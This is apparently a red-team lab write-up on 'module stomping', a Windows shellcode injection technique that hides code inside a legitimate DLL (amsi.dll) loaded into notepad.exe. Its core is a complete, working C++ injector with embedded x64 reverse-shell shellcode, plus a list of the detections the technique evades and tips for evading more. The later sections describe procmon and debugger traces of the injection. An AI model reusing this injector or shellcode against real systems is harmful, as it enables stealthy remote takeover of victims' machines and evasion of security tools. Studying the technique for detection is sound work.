Module Stomping for Shellcode Injection

Overview
Module Stomping (or Module Overloading or DLL Hollowing) is a shellcode injection (although can be used for injecting full DLLs) technique that at a high level works as follows:
1.Injects some benign Windows DLL into a remote (target) process
2.Overwrites DLL's, loaded in step 1, AddressOfEntryPoint point with shellcode
3.Starts a new thread in the target process at the benign DLL's entry point, where the shellcode has been written to, during step 2
In this lab, I will inject amsi.dll into a notepad.exe process, but this of course could be done with any other DLL and process.
Pros
1.Does not allocate RWX memory pages or change their permissions in the target process at any point
2.Shellcode is injected into a legitimate Windows DLL, so detections looking for DLLs loaded from weird places like c:\temp\ would not work
3.Remote thread that executes the shellcode is associated with a legitimate Windows module
Cons
ReadProcessMemory/WriteProcessMemory API calls are usually used by debuggers rather than "normal" programs.
ReadProcessMemory is used to read remote process injected module's image headers, meaning we could ditch the ReadProcessMemory call and read those headers from the DLL on the disk. 
We could also use NtMapViewOfSection to inject shellcode into the remote process, reducing the need for WriteProcessMemory.
Code
1
#include "pch.h"
2
#include <iostream>
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#include <Windows.h>
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#include <psapi.h>
5
​
6
int main(int argc, char *argv[])
7
{
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	HANDLE processHandle;
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	PVOID remoteBuffer;
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	wchar_t moduleToInject[] = L"C:\\windows\\system32\\amsi.dll";
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	HMODULE modules[256] = {};
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	SIZE_T modulesSize = sizeof(modules);
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	DWORD modulesSizeNeeded = 0;
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	DWORD moduleNameSize = 0;
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	SIZE_T modulesCount = 0;
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	CHAR remoteModuleName[128] = {};
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	HMODULE remoteModule = NULL;
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​
19
	// simple reverse shell x64
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	unsigned char shellcode[] = "\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48\x8b\x12\xe9\x57\xff\xff\xff\x5d\x49\xbe\x77\x73\x32\x5f\x33\x32\x00\x00\x41\x56\x49\x89\xe6\x48\x81\xec\xa0\x01\x00\x00\x49\x89\xe5\x49\xbc\x02\x00\x01\xbb\x0a\x00\x00\x05\x41\x54\x49\x89\xe4\x4c\x89\xf1\x41\xba\x4c\x77\x26\x07\xff\xd5\x4c\x89\xea\x68\x01\x01\x00\x00\x59\x41\xba\x29\x80\x6b\x00\xff\xd5\x50\x50\x4d\x31\xc9\x4d\x31\xc0\x48\xff\xc0\x48\x89\xc2\x48\xff\xc0\x48\x89\xc1\x41\xba\xea\x0f\xdf\xe0\xff\xd5\x48\x89\xc7\x6a\x10\x41\x58\x4c\x89\xe2\x48\x89\xf9\x41\xba\x99\xa5\x74\x61\xff\xd5\x48\x81\xc4\x40\x02\x00\x00\x49\xb8\x63\x6d\x64\x00\x00\x00\x00\x00\x41\x50\x41\x50\x48\x89\xe2\x57\x57\x57\x4d\x31\xc0\x6a\x0d\x59\x41\x50\xe2\xfc\x66\xc7\x44\x24\x54\x01\x01\x48\x8d\x44\x24\x18\xc6\x00\x68\x48\x89\xe6\x56\x50\x41\x50\x41\x50\x41\x50\x49\xff\xc0\x41\x50\x49\xff\xc8\x4d\x89\xc1\x4c\x89\xc1\x41\xba\x79\xcc\x3f\x86\xff\xd5\x48\x31\xd2\x48\xff\xca\x8b\x0e\x41\xba\x08\x87\x1d\x60\xff\xd5\xbb\xf0\xb5\xa2\x56\x41\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a\x00\x59\x41\x89\xda\xff\xd5";
21
​
22
	// inject a benign DLL into remote process
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	processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, DWORD(atoi(argv[1])));
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	//processHandle = OpenProcess(PROCESS_ALL_ACCESS, FALSE, 8444);
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	remoteBuffer = VirtualAllocEx(processHandle, NULL, sizeof moduleToInject, MEM_COMMIT, PAGE_READWRITE);
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	WriteProcessMemory(processHandle, remoteBuffer, (LPVOID)moduleToInject, sizeof moduleToInject, NULL);
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	PTHREAD_START_ROUTINE threadRoutine = (PTHREAD_START_ROUTINE)GetProcAddress(GetModuleHandle(TEXT("Kernel32")), "LoadLibraryW");
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	HANDLE dllThread = CreateRemoteThread(processHandle, NULL, 0, threadRoutine, remoteBuffer, 0, NULL);
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	WaitForSingleObject(dllThread, 1000);
31
	
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	// find base address of the injected benign DLL in remote process
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	EnumProcessModules(processHandle, modules, modulesSize, &modulesSizeNeeded);
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	modulesCount = modulesSizeNeeded / sizeof(HMODULE);
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	for (size_t i = 0; i < modulesCount; i++)
36
	{
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		remoteModule = modules[i];
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		GetModuleBaseNameA(processHandle, remoteModule, remoteModuleName, sizeof(remoteModuleName));
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		if (std::string(remoteModuleName).compare("amsi.dll") == 0) 
40
		{
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			std::cout << remoteModuleName << " at " << modules[i];
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			break;
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		}
44
	}
45
​
46
	// get DLL's AddressOfEntryPoint
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	DWORD headerBufferSize = 0x1000;
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	LPVOID targetProcessHeaderBuffer = HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, headerBufferSize);
49
	ReadProcessMemory(processHandle, remoteModule, targetProcessHeaderBuffer, headerBufferSize, NULL);
50
​
51
	PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)targetProcessHeaderBuffer;
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	PIMAGE_NT_HEADERS ntHeader = (PIMAGE_NT_HEADERS)((DWORD_PTR)targetProcessHeaderBuffer + dosHeader->e_lfanew);
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	LPVOID dllEntryPoint = (LPVOID)(ntHeader->OptionalHeader.AddressOfEntryPoint + (DWORD_PTR)remoteModule);
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	std::cout << ", entryPoint at " << dllEntryPoint;
55
​
56
	// write shellcode to DLL's AddressofEntryPoint
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	WriteProcessMemory(processHandle, dllEntryPoint, (LPCVOID)shellcode, sizeof(shellcode), NULL);
58
	
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	// execute shellcode from inside the benign DLL
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	CreateRemoteThread(processHandle, NULL, 0, (PTHREAD_START_ROUTINE)dllEntryPoint, NULL, 0, NULL);
61
	
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	return 0;
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}
Copied!
Demo
Below shows the technique in action - amsi.dll gets loaded into notepad and a reverse shell is spawned by the shellcode injected into amsi.dll AddressOfEntryPoint:
Observation
Note how powershell window shows that amsi.dll is loaded at 00007FFF20E60000 and it's DLL AddressOfEntryPoint point is at 00007FFF20E67E00. 
If we look at the stack trace of the cmd.exe process creation event in procmon, we see that frame 9 originates from inside amsi!AmsiUacScan+0x5675 (00007fff20e67f95) before the code transitions to kernelbase.dll where CreateProcessA is called:
addressofentrypoint-injection-procmon.PML
66KB
Binary
Procmon logs
If we inspect notepad.exe threads, we can see thread 7372 with a start address of Amsi!AmsiUacScan+0x54e0. 
If we inspect that memory location with a debugger, we see it resolves to Amsi!DLLMainCRTStartup and it contains our shellcode as expected:
References
Masking Malicious Memory Artifacts – Part I: Phantom DLL Hollowing
ForrestOrr
Living Dangerously with Module Stomping: Leveraging Code Coverage Analysis for Injecting into Legitimately Loaded DLLs
...

AddressOfEntryPoint Code Injection without VirtualAllocEx RWX

PE Injection: Executing PEs inside Remote Processes

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